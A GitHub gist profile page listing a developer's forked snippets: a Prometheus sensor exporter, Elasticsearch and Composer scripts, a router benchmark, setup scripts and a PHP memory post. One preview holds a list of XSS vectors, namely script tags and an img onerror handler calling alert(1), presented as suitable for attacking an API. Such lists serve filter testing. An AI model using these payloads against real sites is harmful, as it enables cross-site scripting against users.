Skip to content

Instantly share code, notes, and snippets.

View slavcodev's full-sized avatar
🙃
Enjoy coding ❤️

Slava Medvedev slavcodev

🙃
Enjoy coding ❤️
View GitHub Profile
@slavcodev
slavcodev / prom.py
Created October 19, 2023 23:53 — forked from cdump/prom.py
cleargrass prometheus
#!/usr/bin/python3
from time import sleep, time
import miio
from prometheus_client import start_http_server, Gauge
if __name__ == '__main__':
MONITOR_IP = '192.168.88.100'
MONITOR_TOKEN = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
#!/bin/bash
###
### my-script — does one thing well
###
### Usage:
### my-script <input> <output>
###
### Options:
### <input> Input file to read.
### <output> Output file to write. Use '-' for stdout.
@slavcodev
slavcodev / es_custom_fields.sh
Created January 29, 2020 17:24 — forked from 2e3s/es_custom_fields.sh
Custom Fields By Elasticsearch
#!/bin/sh
echo "Create index: "
# 64-bit long (-2^63..2^63-1) and double values are used
# all fields can take arrays as well but it's not possible to mix the types
curl -XPOST localhost:9200/transaction_temp -d '{
"mappings" : {
"live" : {
"_source" : { "enabled" : true },
"dynamic" : false,
@slavcodev
slavcodev / RouterTest.php
Last active November 15, 2019 10:43
Routers Benchmark
<?php
declare(strict_types=1);
use FastRoute\RouteCollector;
use Symfony\Component\Routing\Matcher\CompiledUrlMatcher;
use Symfony\Component\Routing\Matcher\Dumper\CompiledUrlMatcherDumper;
use Symfony\Component\Routing\Matcher\UrlMatcher;
use Symfony\Component\Routing\RequestContext;
use Symfony\Component\Routing\Route;
@slavcodev
slavcodev / README-Template.md
Created April 23, 2019 14:01 — forked from PurpleBooth/README-Template.md
A template to make good README.md

Project Title

One Paragraph of project description goes here

Getting Started

These instructions will get you a copy of the project up and running on your local machine for development and testing purposes. See deployment for notes on how to deploy the project on a live system.

Prerequisites

@slavcodev
slavcodev / 666_lines_of_XSS_vectors.html
Created March 20, 2019 10:17 — forked from JohannesHoppe/666_lines_of_XSS_vectors.html
666 lines of XSS vectors, suitable for attacking an API copied from http://pastebin.com/48WdZR6L
<script\x20type="text/javascript">javascript:alert(1);</script>
<script\x3Etype="text/javascript">javascript:alert(1);</script>
<script\x0Dtype="text/javascript">javascript:alert(1);</script>
<script\x09type="text/javascript">javascript:alert(1);</script>
<script\x0Ctype="text/javascript">javascript:alert(1);</script>
<script\x2Ftype="text/javascript">javascript:alert(1);</script>
<script\x0Atype="text/javascript">javascript:alert(1);</script>
'`"><\x3Cscript>javascript:alert(1)</script>
'`"><\x00script>javascript:alert(1)</script>
<img src=1 href=1 onerror="javascript:alert(1)"></img>
@slavcodev
slavcodev / osx_bootstrap.sh
Created December 24, 2018 18:46 — forked from codeinthehole/osx_bootstrap.sh
Script to install stuff I want on a new OSX machine
#!/usr/bin/env bash
#
# Bootstrap script for setting up a new OSX machine
#
# This should be idempotent so it can be run multiple times.
#
# Some apps don't have a cask and so still need to be installed by hand. These
# include:
#
# - Twitter (app store)
@slavcodev
slavcodev / composer.json
Last active January 4, 2022 23:08
Composer useful scripts
{
"scripts": {
"test": "phpunit",
"test-coverage": "phpunit --coverage-clover build/logs/clover.xml",
"show-coverage": "phpunit --coverage-text=php://stdout",
"report-coverage": "phpunit --coverage-html build/logs/report",
"diff-files": "f() { git diff --name-only --diff-filter=ACMRTUXB $1 | grep -ivE composer\\.\\|\\.git ; }; f",
"cs": "f() { if test \"$1\"; then php-cs-fixer fix --dry-run --config=.php_cs -v --using-cache=no --diff --diff-format=udiff --ansi $1 ; else echo \"Nothing to fix\" ; fi ; }; f",
"cs-fix": "f() { if test \"$1\"; then php-cs-fixer fix --config=.php_cs -v --using-cache=no --diff --diff-format=udiff --ansi $1 ; else echo \"Nothing to fix\" ; fi ; }; f",
@slavcodev
slavcodev / objects_arrays.md
Created April 4, 2017 18:26 — forked from nikic/objects_arrays.md
Post explaining why objects often use less memory than arrays (in PHP)

Why objects (usually) use less memory than arrays in PHP

This is just a small post in response to [this tweet][tweet] by Julien Pauli (who by the way is the release manager for PHP 5.5). In the tweet he claims that objects use more memory than arrays in PHP. Even though it can be like that, it's not true in most cases. (Note: This only applies to PHP 5.4 or newer.)

The reason why it's easy to assume that objects are larger than arrays is because objects can be seen as an array of properties and a bit of additional information (like the class it belongs to). And as array + additional info > array it obviously follows that objects are larger. The thing is that in most cases PHP can optimize the array part of it away. So how does that work?

The key here is that objects usually have a predefined set of keys, whereas arrays don't:

@slavcodev
slavcodev / .profile
Created February 2, 2017 23:00 — forked from bmhatfield/.profile
Automatic Git commit signing with GPG on OSX
# In order for gpg to find gpg-agent, gpg-agent must be running, and there must be an env
# variable pointing GPG to the gpg-agent socket. This little script, which must be sourced
# in your shell's init script (ie, .bash_profile, .zshrc, whatever), will either start
# gpg-agent or set up the GPG_AGENT_INFO variable if it's already running.
# Add the following to your shell init to set up gpg-agent automatically for every shell
if [ -f ~/.gnupg/.gpg-agent-info ] && [ -n "$(pgrep gpg-agent)" ]; then
source ~/.gnupg/.gpg-agent-info
export GPG_AGENT_INFO
else